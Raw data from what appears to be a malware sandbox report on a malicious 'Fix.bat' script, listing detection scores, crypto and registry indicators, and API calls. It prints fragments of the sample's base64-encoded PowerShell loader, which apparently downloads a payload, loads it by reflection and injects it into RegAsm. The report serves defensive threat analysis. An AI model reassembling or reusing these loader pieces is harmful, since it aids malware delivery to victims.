26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 53:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T47a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample bf62f8983365… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample bf62f8983365…. Malware family: Trojan.Generic. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80"],"about":{"@type":"SoftwareApplication","name":"Fix.bat","applicationCategory":["script","bat"],"identifier":"bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":6,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tcf0,Found reference to API "=icode.GetString^([system.convert]::Frombase64string^($ddsdgo.replace^(''GOTO" (Indicator: "FromBase64String"; File: "Fix.bat") Found reference to API "SET =icode.GetString^([system.convert]::Frombase64string^($ddsdgo.replace^(''" (Indicator: "FromBase64String"; File: "Fix.bat") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") Found reference to API "icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found reference to API "+=icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found reference to API "icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp, 00000000-00001612.00000000.152853.FF250000.00000004.mdmp, 00000000-00001612.00000000.152853.FF770000.00000004.mdmp") Found reference to API "+=icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp, 00000000-00001612.00000000.152853.FF250000.00000004.mdmp, 00000000-00001612.00000000.152853.FF770000.00000004.mdmp") Found reference to API "icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp") Found reference to API "+=icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp, 00000000-00004416.00000000.153873.E94B0000.00000004.mdmp, 00000000-00004416.00000000.153873.EAE40000.00000004.mdmp") Found reference to API "icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp") Found reference to API "+=icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp, 00000000-00007560.00000000.153901.2E8B0000.00000004.mdmp, 00000000-00007560.00000000.153901.301C0000.00000004.mdmp")28:T44f,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Commandline contains long base64 encoded string Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: YARA signature match - RC4 Encryption Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt data29:T250f,"cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000078e92f9d0a000000180000000a000000d032245aabce00009f54c4413f010000190000000000000010e92f9d0a0000000057c3413f010000a04fc4413f0100001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000faeefc7f000072399a4a39990000e046faeefc7f0000a054c4413f0100009806fbeefc7f0000b0e1c3413f0100000000c1edfc7f00000000000000000000e046faeefc7f00000300000000000000f38581f0fc7f00006e47faeefc7f0000276681f0fc7f000050e92f9d (UID: 00000000-00003788) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003788) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003788) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938d8edfc7f000080000000000000000000000000000000a0fa816d9a010000103384f0fc7f00000000000000000000000096effc7f000090d5afdb160000001041d5edfc7f000020987f6d9a01000050d5afdb16000000000000000000000000000000000000000100000000000000b840d5edfc7f000006000000000000000100000000000000000096effc7f00003b4dfdedfc7f0000000000000000000008daafdb160000000000000000000000d02aa8effc7f000010b30ef0fc7f0000e8f8d4edfc7f000010b30ef0fc7f0000d02aa8effc7f00000d000000fc7f00000d00000000000000a0f6feeffc7f0000f587a3effc7f0000d02aa8ef (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000502db96d9a010000badeb56d9a010000d0ddb56d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f00000000000000000000502db96d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000076deb56d9a0100008cdeb56d9a01000076deb56d9a010000badeb56d9a01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000076deb56d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000f02db96d9a0100001cd4b56d9a01000030d3b56d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f00000000000000000000f02db96d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d6d3b56d9a010000eed3b56d9a010000d6d3b56d9a0100001cd4b56d9a010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d6d3b56d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000004029b96d9a010000b888bd6d9a010000d087bd6d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f000000000000000000004029b96d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000007688bd6d9a0100008a88bd6d9a0100007688bd6d9a010000b888bd6d9a0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007688bd6d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000903db96d9a0100001cd4b56d9a01000030d3b56d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f00000000000000000000903db96d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d6d3b56d9a010000eed3b56d9a010000d6d3b56d9a0100001cd4b56d9a010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d6d3b56d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000003cb96d9a010000aaddb56d9a010000c0dcb56d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f00000000000000000000003cb96d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000066ddb56d9a0100007cddb56d9a01000066ddb56d9a010000aaddb56d9a01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066ddb56d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000f087816d9a0100001cd4b56d9a01000030d3b56d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f00000000000000000000f087816d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d6d3b56d9a010000eed3b56d9a010000d6d3b56d9a0100001cd4b56d9a010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d6d3b56d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000b05ebf6d9a010000ece1b56d9a01000000e1b56d9a01000058a2a4dc1600000048a2a4dc1600000048a2a4dc0100000058a4a4dc160000004873cceefc7f00000000000000000000b05ebf6d9a010000ef5eeaebfc7f0000801d3becfc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000a6e1b56d9a010000bee1b56d9a010000a6e1b56d9a010000ece1b56d9a010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a6e1b56d (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001496) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001612)2a:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000c09a7f6d9a010000c0fb15ddfc7f00000001000000000000b8fb15ddfc7f0000000000000000000080cb45f0fc7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a15ddfc7f00000000000000000000b8fb15ddfc7f000000000000 (UID: 00000000-00001496) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000601ea89950020000c0fb15ddfc7f00000001000000000000b8fb15ddfc7f0000000000000000000080cb45f0fc7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a15ddfc7f00000000000000000000b8fb15ddfc7f000000000000 (UID: 00000000-00001612) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000c0e75feb4b020000c0fb89ddfc7f00000001000000000000b8fb89ddfc7f0000000000000000000080cb45f0fc7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a89ddfc7f00000000000000000000b8fb89ddfc7f000000000000 (UID: 00000000-00004416) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000040b7782ebc020000c0fb89ddfc7f00000001000000000000b8fb89ddfc7f0000000000000000000080cb45f0fc7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a89ddfc7f00000000000000000000b8fb89ddfc7f000000000000 (UID: 00000000-00007560)2b:T5f3,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2c:Tc99,Found string "SET =BuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAA" (Indicator: "set "; File: "Fix.bat") Found string "SET =wA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAA" (Indicator: "set "; File: "Fix.bat") Found string "SET =G0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQAT" (Indicator: "set "; File: "Fix.bat") Found string "SET =AcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBt" (Indicator: "set "; File: "Fix.bat") Found string "SET =wApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGU" (Indicator: "set "; File: "Fix.bat") Found string "SET =gAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBK" (Indicator: "set "; File: "Fix.bat") Found string "SET =AbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsA" (Indicator: "set "; File: "Fix.bat") Found string "SET =AAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkA" (Indicator: "set "; File: "Fix.bat") Found string "SET =EAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbAB" (Indicator: "set "; File: "Fix.bat") Found string "SET =EkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgA" (Indicator: "set "; File: "Fix.bat") Found string "SET =BzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACA" (Indicator: "set "; File: "Fix.bat") Found string "SET =BuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIA" (Indicator: "set "; File: "Fix.bat") Found string "SET =QBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYAN" (Indicator: "set "; File: "Fix.bat") Found string "SET =wAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbg" (Indicator: "set "; File: "Fix.bat") Found string "SET =KQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AO" (Indicator: "set "; File: "Fix.bat") Found string "SET =NABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAF" (Indicator: "set "; File: "Fix.bat") Found string "SET =CAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAA" (Indicator: "set "; File: "Fix.bat") Found string "SET =GUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZ" (Indicator: "set "; File: "Fix.bat") Found string "SET =GQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAG" (Indicator: "set "; File: "Fix.bat") Found string "SET =IAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAn" (Indicator: "set "; File: "Fix.bat") Found string "SET =IABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBd" (Indicator: "set "; File: "Fix.bat") Found string "SET =AdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB" (Indicator: "set "; File: "Fix.bat") Found string "SET =AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgAC" (Indicator: "set "; File: "Fix.bat") Found string "SET =gAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbA" (Indicator: "set "; File: "Fix.bat") Found string "SET =oAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAc" (Indicator: "set "; File: "Fix.bat")2d:T87c,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: ""; Value: "")2e:T11d4,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001496-00000C17-1376614663 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00001496-00000C17-1377333806 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001496-00000C17-1377598877 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001496-00000C17-1378852143 "powershell.exe" queries volume information of "C:\" at 00000000-00001496-00000C17-1379265597 "powershell.exe" queries volume information of "C:\share" at 00000000-00001496-00000C17-1379267366 "powershell.exe" queries volume information of "C:\share" at 00000000-00001496-00000C17-1379493781 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001496-00000C17-1380124343 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001612-00000C17-1386901408 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00001612-00000C17-1387342565 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001612-00000C17-1387585646 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001612-00000C17-1388827106 "powershell.exe" queries volume information of "C:\" at 00000000-00001612-00000C17-1389251046 "powershell.exe" queries volume information of "C:\share" at 00000000-00001612-00000C17-1389252823 "powershell.exe" queries volume information of "C:\share" at 00000000-00001612-00000C17-1389351549 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001612-00000C17-1389936085 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001612-00000C17-1390113257 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001612-00000C17-1390183232 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001612-00000C17-1394950594 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00004416-00000C17-1406837592 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00004416-00000C17-1407587267 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004416-00000C17-1408183954 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004416-00000C17-1410563258 "powershell.exe" queries volume information of "C:\" at 00000000-00004416-00000C17-1411345816 "powershell.exe" queries volume information of "C:\share" at 00000000-00004416-00000C17-14113476952f:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") 